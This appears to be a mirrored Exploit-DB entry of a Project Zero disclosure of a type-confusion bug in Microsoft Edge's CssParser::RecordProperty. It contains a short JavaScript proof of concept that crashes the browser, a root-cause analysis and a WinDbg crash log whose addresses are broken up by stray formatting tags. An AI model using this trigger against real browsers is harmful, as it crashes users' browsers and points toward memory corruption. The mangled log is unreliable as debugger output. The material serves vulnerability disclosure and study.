Microsoft Edge – ‘CssParser::RecordProperty’ Type Confusion

Exploit Database
111 阅读

作者： Google Security Research

日期： 2017-06-23
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/42246/

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<!--

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1254

There is a type confusion vulnerability in Microsoft Edge. The vulnerability has been confirmed on Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198) and Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.

PoC

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-->

function go() {

window.addEventListener("DOMAttrModified", undefined);

m.style.cssText = "clip-path: url(#foo);";

}

</script>

<!--

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Preliminary analysis:

The crash happens inside CAttrArray::PrivateFindInl. Rcx (this) pointer is supposed to point to a CAttrArray but it actually pointa to a CAttribute. CAttrArray::PrivateFindInl is only going to perform reads and its return value is going to be discarded by the calling function (CAttrArray::SetParsed). However the actual type confusion happens further down the stack (possibly inside CssParser::RecordProperty) and if CAttrArray::PrivateFindInl returns false (can be controlled by an attacker), then CAttrArray::Set is going to also be called with the wrong type, which might lead to more serious consequences.

Crash log (Note: crash log is obtained from an older Edge version as the symbols for the up-to date version are no longer available).

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(1b24.f18): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

edgehtml!CAttrArray::PrivateFindInl+0xd6:

00007ffa<code>64acf836 41f644d00380testbyte ptr [r8+rdx*8+3],80h ds:00000003</code>0005ffbe=??

0:009> k

# Child-SPRetAddr Call Site

00 000000ab<code>02efb3f0 00007ffa</code>64c9ee99 edgehtml!CAttrArray::PrivateFindInl+0xd6

01 000000ab<code>02efb420 00007ffa</code>64bc795b edgehtml!CAttrArray::SetParsed+0x49

02 000000ab<code>02efb490 00007ffa</code>64bc96dc edgehtml!CssParser::RecordProperty+0x24b

03 000000ab<code>02efb500 00007ffa</code>64bc83dc edgehtml!CssParser::HandleSingleDeclaration+0x21c

04 000000ab<code>02efb580 00007ffa</code>64b5d2cb edgehtml!CssParser::HandleDeclaration+0x9c

05 000000ab<code>02efb5b0 00007ffa</code>64b5debe edgehtml!CssParser::Write+0x3b

06 000000ab<code>02efb5f0 00007ffa</code>64a1c60c edgehtml!ProcessCSSText+0x112

07 000000ab<code>02efb670 00007ffa</code>64a357e3 edgehtml!CStyle::SetCssText+0xbc

08 000000ab<code>02efb6b0 00007ffa</code>64d22235 edgehtml!CFastDOM::CCSSStyleDeclaration::Trampoline_Set_cssText+0x77

09 000000ab<code>02efb700 00007ffa</code>63886d07 edgehtml!CFastDOM::CCSSStyleDeclaration::Profiler_Set_cssText+0x25

0a 000000ab<code>02efb730 00007ffa</code>63962640 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x177

0b 000000ab<code>02efb810 00007ffa</code>63a02209 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x180

0c 000000ab<code>02efb860 00007ffa</code>6392475e chakra!Js::JavascriptOperators::CallSetter+0xa9

0d 000000ab<code>02efb900 00007ffa</code>639ef932 chakra!Js::JavascriptOperators::SetProperty_Internal<0>+0x4de

0e 000000ab<code>02efb9c0 00007ffa</code>639ef86f chakra!Js::JavascriptOperators::OP_SetProperty+0xa2

0f 000000ab<code>02efba10 00007ffa</code>63986ddb chakra!Js::JavascriptOperators::PatchPutValueWithThisPtrNoFastPath+0x9f

10 000000ab<code>02efba90 00007ffa</code>63929a70 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x1cb

11 000000ab<code>02efbb60 00007ffa</code>6392e800 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x70

12 000000ab<code>02efbbb0 00007ffa</code>6392c852 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x340

13 000000ab<code>02efbc40 00007ffa</code>63930920 chakra!Js::InterpreterStackFrame::Process+0x142

14 000000ab<code>02efbca0 00007ffa</code>63932065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0

15 000000ab<code>02efc000 00000219</code>30f30fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55

16 000000ab<code>02efc050 00007ffa</code>63a17273 0x00000219<code>30f30fb2

17 000000ab</code>02efc080 00007ffa<code>63925763 chakra!amd64_CallFunction+0x93

18 000000ab</code>02efc0d0 00007ffa<code>63928260 chakra!Js::JavascriptFunction::CallFunction<1>+0x83

19 000000ab</code>02efc130 00007ffa<code>6392ccfd chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110

1a 000000ab</code>02efc180 00007ffa<code>6392c8b7 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d

1b 000000ab</code>02efc210 00007ffa<code>63930920 chakra!Js::InterpreterStackFrame::Process+0x1a7

1c 000000ab</code>02efc270 00007ffa<code>63932065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0

1d 000000ab</code>02efc5c0 00000219<code>30f30fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55

1e 000000ab</code>02efc610 00007ffa<code>63a17273 0x00000219</code>30f30fba

1f 000000ab<code>02efc640 00007ffa</code>63925763 chakra!amd64_CallFunction+0x93

20 000000ab<code>02efc690 00007ffa</code>6395a4bc chakra!Js::JavascriptFunction::CallFunction<1>+0x83

21 000000ab<code>02efc6f0 00007ffa</code>63959a86 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104

22 000000ab<code>02efc7e0 00007ffa</code>639fc359 chakra!Js::JavascriptFunction::CallRootFunction+0x4a

23 000000ab<code>02efc850 00007ffa</code>6395ff21 chakra!ScriptSite::CallRootFunction+0xb5

24 000000ab<code>02efc8f0 00007ffa</code>6395badc chakra!ScriptSite::Execute+0x131

25 000000ab<code>02efc980 00007ffa</code>64be08dd chakra!ScriptEngineBase::Execute+0xcc

26 000000ab<code>02efca20 00007ffa</code>64be0828 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d

27 000000ab<code>02efca70 00007ffa</code>64b1a8c7 edgehtml!CJScript9Holder::ExecuteCallback+0x18

28 000000ab<code>02efcab0 00007ffa</code>64b1a6b7 edgehtml!CListenerDispatch::InvokeVar+0x1fb

29 000000ab<code>02efcc30 00007ffa</code>64bdf22a edgehtml!CListenerDispatch::Invoke+0xdb

2a 000000ab<code>02efccb0 00007ffa</code>64cb40d2 edgehtml!CEventMgr::_InvokeListeners+0x2ca

2b 000000ab<code>02efce10 00007ffa</code>64b30ac5 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66

2c 000000ab<code>02efce40 00007ffa</code>64b30553 edgehtml!CEventMgr::Dispatch+0x405

2d 000000ab<code>02efd110 00007ffa</code>64c0d8da edgehtml!CEventMgr::DispatchEvent+0x73

2e 000000ab<code>02efd160 00007ffa</code>64c4ba12 edgehtml!COmWindowProxy::Fire_onload+0x14e

2f 000000ab<code>02efd270 00007ffa</code>64c4a6a6 edgehtml!CMarkup::OnLoadStatusDone+0x376

30 000000ab<code>02efd330 00007ffa</code>64c4a21f edgehtml!CMarkup::OnLoadStatus+0x112

31 000000ab<code>02efd360 00007ffa</code>64bd5b43 edgehtml!CProgSink::DoUpdate+0x3af

32 000000ab<code>02efd7f0 00007ffa</code>64bd7300 edgehtml!GlobalWndOnMethodCall+0x273

33 000000ab<code>02efd8f0 00007ffa</code>7f751c24 edgehtml!GlobalWndProc+0x130

34 000000ab<code>02efd9b0 00007ffa</code>7f75156c user32!UserCallWinProcCheckWow+0x274

35 000000ab<code>02efdb10 00007ffa</code>75cecdf1 user32!DispatchMessageWorker+0x1ac

36 000000ab<code>02efdb90 00007ffa</code>75cec3b1 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1

37 000000ab<code>02effde0 00007ffa</code>768f9596 EdgeContent!LCIETab_ThreadProc+0x2c1

38 000000ab<code>02efff00 00007ffa</code>81538364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246

39 000000ab<code>02efff30 00007ffa</code>81b170d1 KERNEL32!BaseThreadInitThunk+0x14

3a 000000ab<code>02efff60 00000000</code>00000000 ntdll!RtlUserThreadStart+0x21

0:009> r

rax=0000000000003ffd rbx=0000000000000002 rcx=0000021128e64cf0

rdx=000000000000bff7 rsi=0000000000003ffd rdi=0000000000000000

rip=00007ffa64acf836 rsp=000000ab02efb3f0 rbp=0000000000000002

r8=0000000300000003r9=00000000800114a4 r10=0000000000000000

r11=0000000000007ffa r12=0000021932328fe0 r13=0000021127f66f01

r14=0000021128e64c88 r15=0000000000000000

iopl=0 nv up ei pl nz na pe nc

cs=0033ss=002bds=002bes=002bfs=0053gs=002b efl=00010202

edgehtml!CAttrArray::PrivateFindInl+0xd6:

00007ffa<code>64acf836 41f644d00380testbyte ptr [r8+rdx*8+3],80h ds:00000003</code>0005ffbe=??

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-->